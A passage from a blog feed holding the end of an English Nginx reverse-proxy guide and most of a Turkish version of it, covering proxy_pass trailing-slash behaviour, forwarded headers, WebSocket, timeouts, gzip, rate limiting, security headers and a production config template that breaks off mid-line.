class="p">;</span> <span class="w"> </span><span class="kn">proxy_set_header</span><span class="w"> </span><span class="s">Host</span><span class="w"> </span><span class="nv">$host</span><span class="p">;</span> <span class="w"> </span><span class="kn">proxy_set_header</span><span class="w"> </span><span class="s">X-Real-IP</span><span class="w"> </span><span class="nv">$remote_addr</span><span class="p">;</span> <span class="w"> </span><span class="kn">proxy_set_header</span><span class="w"> </span><span class="s">X-Forwarded-For</span><span class="w"> </span><span class="nv">$proxy_add_x_forwarded_for</span><span class="p">;</span> <span class="w"> </span><span class="kn">proxy_set_header</span><span class="w"> </span><span class="s">X-Forwarded-Proto</span><span class="w"> </span><span class="nv">$scheme</span><span class="p">;</span> <span class="w"> </span><span class="kn">proxy_read_timeout</span><span class="w"> </span><span class="s">60s</span><span class="p">;</span> <span class="w"> </span><span class="p">}</span> <span class="w"> </span><span class="c1"># All other requests are routed to the application</span> <span class="w"> </span><span class="kn">location</span><span class="w"> </span><span class="s">/</span><span class="w"> </span><span class="p">{</span> <span class="w"> </span><span class="kn">proxy_pass</span><span class="w"> </span><span class="s">http://app</span><span class="p">;</span> <span class="w"> </span><span class="kn">proxy_set_header</span><span class="w"> </span><span class="s">Host</span><span class="w"> </span><span class="nv">$host</span><span class="p">;</span> <span class="w"> </span><span class="kn">proxy_set_header</span><span class="w"> </span><span class="s">X-Real-IP</span><span class="w"> </span><span class="nv">$remote_addr</span><span class="p">;</span> <span class="w"> </span><span class="kn">proxy_set_header</span><span class="w"> </span><span class="s">X-Forwarded-For</span><span class="w"> </span><span class="nv">$proxy_add_x_forwarded_for</span><span class="p">;</span> <span class="w"> </span><span class="kn">proxy_set_header</span><span class="w"> </span><span class="s">X-Forwarded-Proto</span><span class="w"> </span><span class="nv">$scheme</span><span class="p">;</span> <span class="w"> </span><span class="p">}</span> <span class="w"> </span><span class="p">}</span> <span class="p">}</span> </code></pre></div> <hr/> <h2 id="nginx-management-and-commands">⚙️ Nginx Management and Commands<a class="headerlink" href="#nginx-management-and-commands" title="Permanent link">#</a></h2> <p>After making changes to the configuration, always test it before restarting Nginx:</p> <div class="highlight"><pre><span></span><code>$<span class="w"> </span>nginx<span class="w"> </span>-t </code></pre></div> <p>If the test is successful, you can reload the configuration silently without dropping current connections:</p> <div class="highlight"><pre><span></span><code>$<span class="w"> </span>nginx<span class="w"> </span>-s<span class="w"> </span>reload </code></pre></div> <p>To inspect errors, following the error logs in real-time is the most practical way:</p> <div class="highlight"><pre><span></span><code>$<span class="w"> </span>tail<span class="w"> </span>-f<span class="w"> </span>/var/log/nginx/error.log </code></pre></div> <p>Placing Nginx in front of the application splits the responsibilities. Your application only runs its code; Nginx shoulders all the other heavy public-facing tasks and lets the system breathe.</p> <h2 id="related-posts">🔗 Related Posts<a class="headerlink" href="#related-posts" title="Permanent link">#</a></h2> <ul> <li><a href="/en/docker-node-js-root-olmadan-calistirmak/">Running Node.js Containers Without Root in Docker</a></li> <li><a href="/en/linux-tcp-tuning-node-js-microservices/">Linux TCP Tuning and Kernel Settings for Node.js Microservices</a></li> </ul> <div class="footnote"> <hr/> <ol> <li id="fn:1"> <p>An intermediary server that stands between clients and servers, receiving incoming requests and routing them to backend servers.&nbsp;<a class="footnote-backref" href="#fnref:1" title="Jump back to footnote 1 in the text">&larrhk;</a></p> </li> <li id="fn:2"> <p>A high-performance event notification mechanism used by the Linux kernel to monitor input/output (I/O) events.&nbsp;<a class="footnote-backref" href="#fnref:2" title="Jump back to footnote 2 in the text">&larrhk;</a></p> </li> </ol> </div>2026-06-26T02:40:00+03:002026-06-26T02:40:00+03:00yuceltoluyagtag:yuceltoluyag.github.io,2026-06-26:/nginx-ters-vekil-sunucu-yapilandirmak/

<p>Node.js ve diğer web uygulamalarınızın önüne Nginx ters vekil sunucusu konumlandırarak güvenlik, hız sınırlandırma ve performans artırma rehberi.</p>

<p>Ge&ccedil;en hafta eski bir projenin Nginx konfig&uuml;rasyonunu d&uuml;zenlerken o me&scedil;hur <code>proxy_pass http://127.0.0.1:3000/;</code> sat&inodot;r&inodot;n&inodot;n sonundaki sla&scedil; (<code>/</code>) karakteri y&uuml;z&uuml;nden t&uuml;m API rotalar&inodot;n&inodot;n 404 verdi&gbreve;ini fark ettim. Nedenini anlamak i&ccedil;in saatlerce sa&ccedil; ba&scedil; yoldum. Hatta bir ara e&scedil;im i&ccedil;eriden seslenip "Y&uuml;cel, yine o ufac&inodot;k sla&scedil; karakteri y&uuml;z&uuml;nden mi uyumuyorsun?" dedi. O an hem g&uuml;ld&uuml;m hem de web geli&scedil;tirme d&uuml;nyas&inodot;ndaki bu unglamorous (g&ouml;steri&scedil;siz ama hayati) detaylar&inodot;n bizi nas&inodot;l uykusuz b&inodot;rakt&inodot;&gbreve;&inodot;n&inodot; tekrar hat&inodot;rlad&inodot;m.</p> <p>Bilgisayar&inodot;m&inodot;zda &ccedil;al&inodot;&scedil;&inodot;rken her &scedil;ey basittir. Node.js uygulamam&inodot;z 3000 portunu dinler, biz de taray&inodot;c&inodot;dan <code>localhost:3000</code> yaz&inodot;p i&scedil;imize bakar&inodot;z. Ancak canl&inodot;ya &ccedil;&inodot;k&inodot;&scedil; (production) an&inodot; geldi&gbreve;inde i&scedil;in rengi tamamen de&gbreve;i&scedil;ir. Art&inodot;k bir alan ad&inodot;m&inodot;z, 443 portundan HTTPS trafi&gbreve;imiz ve t&uuml;m internetten gelebilecek binlerce kullan&inodot;c&inodot; vard&inodot;r. </p> <p>Uygulaman&inodot;n kendisini do&gbreve;rudan internete a&ccedil;mak, evinizin d&inodot;&scedil; kap&inodot;s&inodot;n&inodot; s&ouml;k&uuml;p sokaktaki herkesin do&gbreve;rudan yatak odan&inodot;za kadar y&uuml;r&uuml;mesine izin vermeye benzer. &Idot;&scedil;te bu y&uuml;zden dostum, bug&uuml;n internet trafi&gbreve;iyle uygulama kodumuz aras&inodot;na o a&scedil;&inodot;lmaz Nginx duvar&inodot;n&inodot; nas&inodot;l &ouml;rece&gbreve;imizi konu&scedil;aca&gbreve;&inodot;z.</p> <hr/> <h2 id="nginx-hangi-sorunu-cozer">🛑 Nginx Hangi Sorunu &Ccedil;&ouml;zer?<a class="headerlink" href="#nginx-hangi-sorunu-cozer" title="Permanent link">#</a></h2> <p>Uygulama sunucular&inodot; (Node.js, Python, Go vb.) i&scedil; mant&inodot;&gbreve;&inodot;n&inodot; &ccedil;al&inodot;&scedil;t&inodot;rmakta iyidir. Ancak internetten gelen vah&scedil;i trafi&gbreve;i do&gbreve;rudan g&ouml;&gbreve;&uuml;slemek onlar&inodot;n i&scedil;i de&gbreve;ildir. Nginx, uygulaman&inodot;n &uuml;zerinden &scedil;u y&uuml;kleri almak i&ccedil;in vard&inodot;r:</p> <ul> <li>TLS (SSL) sertifikas&inodot;n&inodot; sonland&inodot;rmak ve s&uuml;resi bitmeden yenilemek.</li> <li>Statik dosyalar&inodot; (resim, CSS, JS), uygulama sunucusunu hi&ccedil; yormadan do&gbreve;rudan diskten jet h&inodot;z&inodot;yla sunmak.</li> <li>Yava&scedil; ba&gbreve;lant&inodot;ya sahip istemcilerin soketlerini a&ccedil;&inodot;k tutarak uygulaman&inodot;n kilitlenmesini &ouml;nlemek.</li> <li>&Idot;stek boyutu limitlerini ve zaman a&scedil;&inodot;mlar&inodot;n&inodot; (timeout) y&ouml;netmek.</li> <li>&Idot;stek s&inodot;n&inodot;rland&inodot;rma (rate limiting) ile k&ouml;t&uuml; niyetli taramalar&inodot; engellemek.</li> <li>Uygulama yeniden ba&scedil;lat&inodot;l&inodot;rken gelen istekleri kuyru&gbreve;a al&inodot;p kesinti ya&scedil;atmamak.</li> </ul> <p>Nginx t&uuml;m bu halka a&ccedil;&inodot;k i&scedil;leri &uuml;zerine al&inodot;r, arkas&inodot;ndaki uygulama ise sadece kendi kodunu &ccedil;al&inodot;&scedil;t&inodot;rmaya odaklan&inodot;r. (&Ouml;rne&gbreve;in, Node.js uygulaman&inodot;z&inodot; Docker konteynerlerinde g&uuml;venli bir &scedil;ekilde &ccedil;al&inodot;&scedil;t&inodot;rmak ve yap&inodot;land&inodot;rmak i&ccedil;in <a href="/docker-node-js-root-olmadan-calistirmak/">Docker ve Node.js: Root Olmadan &Ccedil;al&inodot;&scedil;t&inodot;rmak</a> rehberime g&ouml;z atabilirsiniz.)</p> <hr/> <h2 id="temel-fikir-ters-vekil-sunucu-reverse-proxy">💡 Temel Fikir: Ters Vekil Sunucu (Reverse Proxy)<a class="headerlink" href="#temel-fikir-ters-vekil-sunucu-reverse-proxy" title="Permanent link">#</a></h2> <p>Nginx'i sistemin tek giri&scedil; kap&inodot;s&inodot; haline getiririz. D&inodot;&scedil; d&uuml;nya sadece Nginx ile konu&scedil;ur (443 portu, TLS ile). Nginx ise ald&inodot;&gbreve;&inodot; istekleri arka planda, sadece yerel a&gbreve;dan eri&scedil;ilebilen uygulamaya (3000 portu, &scedil;ifresiz HTTP ile) iletir.</p> <div class="highlight"><pre><span></span><code><span class="n">istemci</span><span class="w"> </span><span class="o">-&gt;</span><span class="w"> </span><span class="n">nginx</span><span class="w"> </span><span class="p">(</span><span class="mi">443</span><span class="p">,</span><span class="w"> </span><span class="n">TLS</span><span class="p">)</span><span class="w"> </span><span class="o">-&gt;</span><span class="w"> </span><span class="n">uygulama</span><span class="w"> </span><span class="p">(</span><span class="mi">3000</span><span class="p">,</span><span class="w"> </span><span class="n">plain</span><span class="w"> </span><span class="n">http</span><span class="p">)</span> </code></pre></div> <p>Bu yap&inodot;ya ters vekil sunucu (reverse proxy)<sup id="fnref:1"><a class="footnote-ref" href="#fn:1">1</a></sup> diyoruz. &Idot;stemciler arkadaki uygulaman&inodot;n varl&inodot;&gbreve;&inodot;ndan haberdar bile olmazlar.</p> <hr/> <h2 id="nginx-nasl-calsr">🏗️ Nginx Nas&inodot;l &Ccedil;al&inodot;&scedil;&inodot;r?<a class="headerlink" href="#nginx-nasl-calsr" title="Permanent link">#</a></h2> <p>Nginx, bir adet <strong>master</strong> s&uuml;re&ccedil; ve &ccedil;ekirdek say&inodot;s&inodot;na g&ouml;re yap&inodot;land&inodot;r&inodot;lan <strong>worker</strong> s&uuml;re&ccedil;lerinden olu&scedil;ur:</p> <div class="highlight"><pre><span></span><code>master process &boxvr;&boxh;&boxh; worker process (&ccedil;ekirdek 1) &boxvr;&boxh;&boxh; worker process (&ccedil;ekirdek 2) &boxur;&boxh;&boxh; worker process (&ccedil;ekirdek 3) </code></pre></div> <p>Master s&uuml;re&ccedil; konfig&uuml;rasyonu okur, portlar&inodot; ba&gbreve;lar ve i&scedil;&ccedil;i (worker) s&uuml;re&ccedil;leri y&ouml;netir. As&inodot;l i&scedil;i yapan i&scedil;&ccedil;iler ise olay d&ouml;ng&uuml;s&uuml; (event loop) mimarisiyle &ccedil;al&inodot;&scedil;&inodot;r. Eski nesil web sunucular&inodot; (&ouml;rne&gbreve;in Apache'nin klasik modeli) her ba&gbreve;lant&inodot; i&ccedil;in ayr&inodot; bir i&scedil; par&ccedil;ac&inodot;&gbreve;&inodot; (thread) a&ccedil;arken, Nginx tek bir i&scedil;&ccedil;i s&uuml;reciyle Linux &ccedil;ekirde&gbreve;inin olay bildirim mekanizmas&inodot;n&inodot; (<code>epoll</code>)<sup id="fnref:2"><a class="footnote-ref" href="#fn:2">2</a></sup> kullanarak binlerce ba&gbreve;lant&inodot;y&inodot; ayn&inodot; anda y&ouml;netebilir.</p> <p>Bu sayede, yava&scedil; veya bo&scedil;ta bekleyen bir istemci Nginx i&ccedil;in neredeyse s&inodot;f&inodot;r maliyetlidir. Nginx bu yava&scedil; ba&gbreve;lant&inodot;lar&inodot; s&uuml;nger gibi emer ve arkadaki uygulamaya sadece tamamen haz&inodot;r istekleri iletir.</p> <hr/> <h2 id="server-ve-location-bloklar">📁 Server ve Location Bloklar&inodot;<a class="headerlink" href="#server-ve-location-bloklar" title="Permanent link">#</a></h2> <p>Nginx konfig&uuml;rasyonunun temeli <code>server</code> ve <code>location</code> bloklar&inodot;na dayan&inodot;r.</p> <h3 id="server-blogu">Server Blo&gbreve;u<a class="headerlink" href="#server-blogu" title="Permanent link">#</a></h3> <p>Bir alan ad&inodot; ve port i&ccedil;in gelen trafi&gbreve;in nas&inodot;l kar&scedil;&inodot;lanaca&gbreve;&inodot;n&inodot; belirler:</p> <div class="highlight"><pre><span></span><code><span class="k">server</span><span class="w"> </span><span class="p">{</span> <span class="w"> </span><span class="kn">listen</span><span class="w"> </span><span class="mi">443</span><span class="w"> </span><span class="s">ssl</span><span class="p">;</span> <span class="w"> </span><span class="kn">server_name</span><span class="w"> </span><span class="s">example.com</span><span class="p">;</span> <span class="w"> </span><span class="kn">ssl_certificate</span><span class="w"> </span><span class="s">/etc/letsencrypt/live/example.com/fullchain.pem</span><span class="p">;</span> <span class="w"> </span><span class="kn">ssl_certificate_key</span><span class="w"> </span><span class="s">/etc/letsencrypt/live/example.com/privkey.pem</span><span class="p">;</span> <span class="w"> </span><span class="kn">location</span><span class="w"> </span><span class="s">/</span><span class="w"> </span><span class="p">{</span> <span class="w"> </span><span class="kn">proxy_pass</span><span class="w"> </span><span class="s">http://127.0.0.1:3000</span><span class="p">;</span> <span class="w"> </span><span class="p">}</span> <span class="p">}</span> </code></pre></div> <h3 id="location-blogu">Location Blo&gbreve;u<a class="headerlink" href="#location-blogu" title="Permanent link">#</a></h3> <p>Gelen iste&gbreve;in yoluna (path) g&ouml;re ne yap&inodot;laca&gbreve;&inodot;na karar verir:</p> <div class="highlight"><pre><span></span><code><span class="k">location</span><span class="w"> </span><span class="s">/api/</span><span class="w"> </span><span class="p">{</span> <span class="w"> </span><span class="kn">proxy_pass</span><span class="w"> </span><span class="s">http://127.0.0.1:3000</span><span class="p">;</span> <span class="p">}</span> <span class="k">location</span><span class="w"> </span><span class="s">/static/</span><span class="w"> </span><span class="p">{</span> <span class="w"> </span><span class="kn">root</span><span class="w"> </span><span class="s">/var/www/app</span><span class="p">;</span> <span class="p">}</span> </code></pre></div> <p><code>/static/</code> alt&inodot;ndaki dosyalar do&gbreve;rudan diskten okunup g&ouml;nderilir. Uygulama sunucusu bu isteklerden hi&ccedil; haberdar olmaz.</p> <hr/> <h2 id="proxy_pass-ve-sondaki-slas-detay_1">⚡ proxy_pass ve Sondaki Sla&scedil; (/) Detay&inodot;<a class="headerlink" href="#proxy_pass-ve-sondaki-slas-detay" title="Permanent link">#</a></h2> <p>Beni gece uykusuz b&inodot;rakan o me&scedil;hur sla&scedil; kural&inodot; &scedil;udur:</p> <div class="highlight"><pre><span></span><code><span class="c1"># Durum A: Sla&scedil; var</span> <span class="k">location</span><span class="w"> </span><span class="s">/api/</span><span class="w"> </span><span class="p">{</span> <span class="w"> </span><span class="kn">proxy_pass</span><span class="w"> </span><span class="s">http://127.0.0.1:3000/</span><span class="p">;</span> <span class="p">}</span> </code></pre></div> <div class="highlight"><pre><span></span><code><span class="c1"># Durum B: Sla&scedil; yok</span> <span class="k">location</span><span class="w"> </span><span class="s">/api/</span><span class="w"> </span><span class="p">{</span> <span class="w"> </span><span class="kn">proxy_pass</span><span class="w"> </span><span class="s">http://127.0.0.1:3000</span><span class="p">;</span> <span class="p">}</span> </code></pre></div> <div class="admonition warning"> <p class="admonition-title">Kritik Detay: proxy_pass Sat&inodot;r&inodot;ndaki Sla&scedil; (/) Ayr&inodot;nt&inodot;s&inodot;! ⚠️</p> <p>E&gbreve;er <code>proxy_pass</code> sat&inodot;r&inodot;n&inodot;n sonunda <code>/</code> varsa (Durum A), Nginx e&scedil;le&scedil;en <code>/api/</code> &ouml;nekini k&inodot;rpar ve <code>/api/users</code> iste&gbreve;i uygulamaya <code>/users</code> olarak iletilir.</p> <p>E&gbreve;er sonda <code>/</code> yoksa (Durum B), Nginx yolu de&gbreve;i&scedil;tirmeden aynen iletir ve <code>/api/users</code> iste&gbreve;i uygulamaya yine <code>/api/users</code> olarak gider. Bu ufac&inodot;k karakter fark&inodot; API rotalar&inodot;n&inodot;z&inodot;n 404 vermesine neden olabilir!</p> </div> <hr/> <h2 id="i-istemci-bilgilerini-arkaya-iletmek">ℹ️ &Idot;stemci Bilgilerini Arkaya &Idot;letmek<a class="headerlink" href="#i-istemci-bilgilerini-arkaya-iletmek" title="Permanent link">#</a></h2> <p>Uygulama sadece Nginx ile konu&scedil;tu&gbreve;u i&ccedil;in varsay&inodot;lan olarak t&uuml;m isteklerin <code>127.0.0.1</code> adresinden geldi&gbreve;ini san&inodot;r. Bu durum loglama ve g&uuml;venlik kontrollerini bozar. Ger&ccedil;ek istemci bilgilerini ba&scedil;l&inodot;klar (headers) ile arkaya ta&scedil;&inodot;mal&inodot;y&inodot;z:</p> <div class="highlight"><pre><span></span><code><span class="k">location</span><span class="w"> </span><span class="s">/</span><span class="w"> </span><span class="p">{</span> <span class="w"> </span><span class="kn">proxy_pass</span><span class="w"> </span><span class="s">http://127.0.0.1:3000</span><span class="p">;</span> <span class="w"> </span><span class="kn">proxy_set_header</span><span class="w"> </span><span class="s">Host</span><span class="w"> </span><span class="nv">$host</span><span class="p">;</span> <span class="w"> </span><span class="kn">proxy_set_header</span><span class="w"> </span><span class="s">X-Real-IP</span><span class="w"> </span><span class="nv">$remote_addr</span><span class="p">;</span> <span class="w"> </span><span class="kn">proxy_set_header</span><span class="w"> </span><span class="s">X-Forwarded-For</span><span class="w"> </span><span class="nv">$proxy_add_x_forwarded_for</span><span class="p">;</span> <span class="w"> </span><span class="kn">proxy_set_header</span><span class="w"> </span><span class="s">X-Forwarded-Proto</span><span class="w"> </span><span class="nv">$scheme</span><span class="p">;</span> <span class="p">}</span> </code></pre></div> <ul> <li><code>Host</code>: &Idot;stemcinin as&inodot;l talep etti&gbreve;i alan ad&inodot;n&inodot; iletir.</li> <li><code>X-Real-IP</code>: &Idot;stemcinin do&gbreve;rudan IP adresini ta&scedil;&inodot;r.</li> <li><code>X-Forwarded-For</code>: &Idot;ste&gbreve;in ge&ccedil;ti&gbreve;i t&uuml;m vekil sunucu IP zincirini ta&scedil;&inodot;r.</li> <li><code>X-Forwarded-Proto</code>: Orijinal iste&gbreve;in HTTP mi yoksa HTTPS mi oldu&gbreve;unu uygulamaya bildirir.</li> </ul> <hr/> <h2 id="websocket-destegi">🔌 WebSocket Deste&gbreve;i<a class="headerlink" href="#websocket-destegi" title="Permanent link">#</a></h2> <p>Standart HTTP y&ouml;nlendirmesi WebSocket ba&gbreve;lant&inodot;lar&inodot;n&inodot; ta&scedil;&inodot;yamaz. WebSocket ge&ccedil;i&scedil;i i&ccedil;in ba&gbreve;lant&inodot;y&inodot; y&uuml;kseltme (upgrade) ba&scedil;l&inodot;klar&inodot;n&inodot; eklememiz gerekir:</p> <div class="highlight"><pre><span></span><code><span class="k">location</span><span class="w"> </span><span class="s">/ws/</span><span class="w"> </span><span class="p">{</span> <span class="w"> </span><span class="kn">proxy_pass</span><span class="w"> </span><span class="s">http://127.0.0.1:3000</span><span class="p">;</span> <span class="w"> </span><span class="kn">proxy_http_version</span><span class="w"> </span><span class="mi">1</span><span class="s">.1</span><span class="p">;</span> <span class="w"> </span><span class="kn">proxy_set_header</span><span class="w"> </span><span class="s">Upgrade</span><span class="w"> </span><span class="nv">$http_upgrade</span><span class="p">;</span> <span class="w"> </span><span class="kn">proxy_set_header</span><span class="w"> </span><span class="s">Connection</span><span class="w"> </span><span class="s">"upgrade"</span><span class="p">;</span> <span class="p">}</span> </code></pre></div> <hr/> <h2 id="tamponlama-buffering-ve-zaman-asmlar-timeouts">🗄️ Tamponlama (Buffering) ve Zaman A&scedil;&inodot;mlar&inodot; (Timeouts)<a class="headerlink" href="#tamponlama-buffering-ve-zaman-asmlar-timeouts" title="Permanent link">#</a></h2> <p>Nginx, uygulamadan gelen yan&inodot;tlar&inodot; varsay&inodot;lan olarak tampon belle&gbreve;e (buffer) &ccedil;eker. Uygulama yan&inodot;t&inodot; milisaniyeler i&ccedil;inde Nginx'e teslim edip yeni i&scedil;lere d&ouml;nerken, Nginx bu yan&inodot;t&inodot; yava&scedil; yava&scedil; istemciye damlat&inodot;r.</p> <p>Ancak anl&inodot;k veri ak&inodot;&scedil;&inodot; gerektiren durumlarda (Server-Sent Events veya anl&inodot;k sohbet hatlar&inodot; gibi) bu tamponlamay&inodot; kapatmak gerekir:</p> <div class="highlight"><pre><span></span><code><span class="k">location</span><span class="w"> </span><span class="s">/events/</span><span class="w"> </span><span class="p">{</span> <span class="w"> </span><span class="kn">proxy_pass</span><span class="w"> </span><span class="s">http://app</span><span class="p">;</span> <span class="w"> </span><span class="kn">proxy_buffering</span><span class="w"> </span><span class="no">off</span><span class="p">;</span> <span class="p">}</span> </code></pre></div> <p>Zaman a&scedil;&inodot;mlar&inodot; ise sistemin kararl&inodot;l&inodot;&gbreve;&inodot; i&ccedil;in kritiktir:</p> <div class="highlight"><pre><span></span><code><span class="c1"># Arka plan ba&gbreve;lant&inodot; s&uuml;releri</span> <span class="k">proxy_connect_timeout</span><span class="w"> </span><span class="s">5s</span><span class="p">;</span> <span class="k">proxy_send_timeout</span><span class="w"> </span><span class="s">60s</span><span class="p">;</span> <span class="k">proxy_read_timeout</span><span class="w"> </span><span class="s">60s</span><span class="p">;</span> <span class="c1"># &Idot;stemci ba&gbreve;lant&inodot; s&uuml;releri</span> <span class="k">client_header_timeout</span><span class="w"> </span><span class="s">10s</span><span class="p">;</span> <span class="k">client_body_timeout</span><span class="w"> </span><span class="s">10s</span><span class="p">;</span> <span class="k">keepalive_timeout</span><span class="w"> </span><span class="s">65s</span><span class="p">;</span> </code></pre></div> <p><code>proxy_connect_timeout</code> s&uuml;resini d&uuml;&scedil;&uuml;k tutarak (&ouml;rne&gbreve;in 5 saniye) &ccedil;&ouml;ken bir uygulamada h&inodot;zl&inodot;ca hata yan&inodot;t&inodot; (502) d&ouml;nmesini sa&gbreve;layabiliriz. (E&gbreve;er sunucunuzun genel a&gbreve; performans&inodot;n&inodot; ve TCP limitlerini daha da yukar&inodot; &ccedil;ekmek isterseniz <a href="/linux-tcp-tuning-node-js-microservices/">Linux TCP Tuning &amp; Node.js Microservices</a> yaz&inodot;ma g&ouml;z atabilirsiniz.)</p> <hr/> <h2 id="http2-ve-yant-skstrma-gzip">🚀 HTTP/2 ve Yan&inodot;t S&inodot;k&inodot;&scedil;t&inodot;rma (gzip)<a class="headerlink" href="#http2-ve-yant-skstrma-gzip" title="Permanent link">#</a></h2> <p>HTTP/2 protokol&uuml;, tek bir TCP ba&gbreve;lant&inodot;s&inodot; &uuml;zerinden birden fazla iste&gbreve;in e&scedil;zamanl&inodot; ta&scedil;&inodot;nmas&inodot;n&inodot; sa&gbreve;lar. Nginx &uuml;zerinde bunu aktifle&scedil;tirmek tek sat&inodot;rd&inodot;r:</p> <div class="highlight"><pre><span></span><code><span class="k">server</span><span class="w"> </span><span class="p">{</span> <span class="w"> </span><span class="kn">listen</span><span class="w"> </span><span class="mi">443</span><span class="w"> </span><span class="s">ssl</span><span class="p">;</span> <span class="w"> </span><span class="kn">http2</span><span class="w"> </span><span class="no">on</span><span class="p">;</span> <span class="w"> </span><span class="kn">server_name</span><span class="w"> </span><span class="s">example.com</span><span class="p">;</span> <span class="p">}</span> </code></pre></div> <p>Ayr&inodot;ca HTML, CSS, JS ve JSON gibi metin tabanl&inodot; yan&inodot;tlar&inodot; s&inodot;k&inodot;&scedil;t&inodot;rarak a&gbreve; y&uuml;k&uuml;n&uuml; azaltabiliriz:</p> <div class="highlight"><pre><span></span><code><span class="k">gzip</span><span class="w"> </span><span class="no">on</span><span class="p">;</span> <span class="k">gzip_types</span><span class="w"> </span><span class="s">text/css</span><span class="w"> </span><span class="s">application/javascript</span><span class="w"> </span><span class="s">application/json</span><span class="w"> </span><span class="s">image/svg+xml</span><span class="p">;</span> <span class="k">gzip_min_length</span><span class="w"> </span><span class="mi">1024</span><span class="p">;</span> <span class="k">gzip_comp_level</span><span class="w"> </span><span class="mi">5</span><span class="p">;</span> </code></pre></div> <hr/> <h2 id="guvenlik-ve-hz-snrlandrma-rate-limiting">🛡️ G&uuml;venlik ve H&inodot;z S&inodot;n&inodot;rland&inodot;rma (Rate Limiting)<a class="headerlink" href="#guvenlik-ve-hz-snrlandrma-rate-limiting" title="Permanent link">#</a></h2> <p>Uygulama rotalar&inodot;n&inodot;n (&ouml;zellikle login veya arama gibi a&gbreve;&inodot;r rotalar&inodot;n) suistimal edilmesini &ouml;nlemek i&ccedil;in Nginx'in h&inodot;z s&inodot;n&inodot;rland&inodot;rma &ouml;zelli&gbreve;ini kullan&inodot;r&inodot;z:</p> <div class="highlight"><pre><span></span><code><span class="k">http</span><span class="w"> </span><span class="p">{</span> <span class="w"> </span><span class="kn">limit_req_zone</span><span class="w"> </span><span class="nv">$binary_remote_addr</span><span class="w"> </span><span class="s">zone=api:10m</span><span class="w"> </span><span class="s">rate=10r/s</span><span class="p">;</span> <span class="p">}</span> <span class="k">server</span><span class="w"> </span><span class="p">{</span> <span class="w"> </span><span class="kn">location</span><span class="w"> </span><span class="s">/api/</span><span class="w"> </span><span class="p">{</span> <span class="w"> </span><span class="kn">limit_req</span><span class="w"> </span><span class="s">zone=api</span><span class="w"> </span><span class="s">burst=20</span><span class="w"> </span><span class="s">nodelay</span><span class="p">;</span> <span class="w"> </span><span class="kn">limit_req_status</span><span class="w"> </span><span class="mi">429</span><span class="p">;</span> <span class="w"> </span><span class="kn">proxy_pass</span><span class="w"> </span><span class="s">http://app</span><span class="p">;</span> <span class="w"> </span><span class="p">}</span> <span class="p">}</span> </code></pre></div> <p>Burada kullan&inodot;c&inodot; IP'sine g&ouml;re saniyede 10 istek s&inodot;n&inodot;r&inodot; koyduk, anl&inodot;k patlamalar i&ccedil;in ise 20 iste&gbreve;e kadar tolerans tan&inodot;d&inodot;k. S&inodot;n&inodot;r&inodot; a&scedil;an istemcilere do&gbreve;rudan <code>429 Too Many Requests</code> durum kodu d&ouml;necektir.</p> <p>Ayr&inodot;ca Nginx s&uuml;r&uuml;m numaras&inodot;n&inodot; gizlemek g&uuml;venlik taramalar&inodot;nda elimizi g&uuml;&ccedil;lendirir:</p> <div class="highlight"><pre><span></span><code><span class="k">server_tokens</span><span class="w"> </span><span class="no">off</span><span class="p">;</span> </code></pre></div> <p>Sitenizin ba&scedil;ka siteler i&ccedil;inde iframe olarak a&ccedil;&inodot;lmas&inodot;n&inodot; (Clickjacking sald&inodot;r&inodot;lar&inodot;) engellemek i&ccedil;in ise &scedil;u ba&scedil;l&inodot;klar&inodot; eklemeliyiz:</p> <div class="highlight"><pre><span></span><code><span class="k">add_header</span><span class="w"> </span><span class="s">X-Frame-Options</span><span class="w"> </span><span class="s">"SAMEORIGIN"</span><span class="w"> </span><span class="s">always</span><span class="p">;</span> <span class="k">add_header</span><span class="w"> </span><span class="s">Content-Security-Policy</span><span class="w"> </span><span class="s">"frame-ancestors</span><span class="w"> </span><span class="s">'self'"</span><span class="w"> </span><span class="s">always</span><span class="p">;</span> </code></pre></div> <hr/> <h2 id="uretime-hazr-ornek-nginx-yaplandrmas">🛠️ &Uuml;retime Haz&inodot;r &Ouml;rnek Nginx Yap&inodot;land&inodot;rmas&inodot;<a class="headerlink" href="#uretime-hazr-ornek-nginx-yaplandrmas" title="Permanent link">#</a></h2> <p>T&uuml;m bu anlatt&inodot;&gbreve;&inodot;m&inodot;z &ouml;zellikleri bar&inodot;nd&inodot;ran, &uuml;retime haz&inodot;r tam bir <code>nginx.conf</code> &scedil;ablonu:</p> <div class="highlight"><pre><span></span><code><span class="k">worker_processes</span><span class="w"> </span><span class="s">auto</span><span class="p">;</span> <span class="k">worker_rlimit_nofile</span><span class="w"> </span><span class="mi">65535</span><span class="p">;</span> <span class="k">events</span><span class="w"> </span><span class="p">{</span> <span class="w"> </span><span class="kn">worker_connections</span><span class="w"> </span><span class="mi">16384</span><span class="p">;</span> <span class="p">}</span> <span class="k">http</span><span class="w"> </span><span class="p">{</span> <span class="w"> </span><span class="kn">server_tokens</span><span class="w"> </span><span class="no">off</span><span class="p">;</span> <span class="w"> </span><span class="kn">gzip</span><span class="w"> </span><span class="no">on</span><span class="p">;</span> <span class="w"> </span><span class="kn">gzip_types</span><span class="w"> </span><span class="s">text/css</span><span class="w"> </span><span class="s">application/javascript</span><span class="w"> </span><span class="s">application/json</span><span class="w"> </span><span class="s">image/svg+xml</span><span class="p">;</span> <span class="w"> </span><span class="kn">gzip_min_length</span><span class="w"> </span><span class="mi">1024</span><span class="p">;</span> <span class="w"> </span><span class="kn">limit_req_zone</span><span class="w"> </span><span class="nv">$binary_remote_addr</span><span class="w"> </span><span class="s">zone=api:10m</span><span class="w"> </span><span class="s">rate=10r/s</span><span class="p">;</span> <span class="w"> </span><span class="kn">upstream</span><span class="w"> </span><span class="s">app</span><span class="w"> </span><span class="p">{</span> <span class="w"> </span><span class="kn">server</span><span class="w"> </span><span class="n">127.0.0.1</span><span class="p">:</span><span class="mi">3000</span><span class="p">;</span> <span class="w"> </span><span class="kn">server</span><span class="w"> </span><span class="n">127.0.0.1</span><span class="p">:</span><span class="mi">3001</span><span class="p">;</span><span class="w"> </span><span class="c1"># Y&uuml;k dengeleme i&ccedil;in ikinci sunucu</span> <span class="w"> </span><span class="p">}</span> <span class="w"> </span><span class="c1"># HTTP'den HTTPS'e y&ouml;nlendirme</span> <span class="w"> </span><span class="kn">server</span><span class="w"> </span><span class="p">{</span> <span class="w"> </span><span class="kn">listen</span><span class="w"> </span><span class="mi">80</span><span class="p">;</span> <span class="w"> </span><span class="kn">server_name</span><span class="w"> </span><span class="s">example.com</span><span class="p">;</span> <span class="w"> </span><span class="kn">return</span><span class="w"> </span><span class="mi">301</span><span class="w"> </span><span class="s">https://</span><span 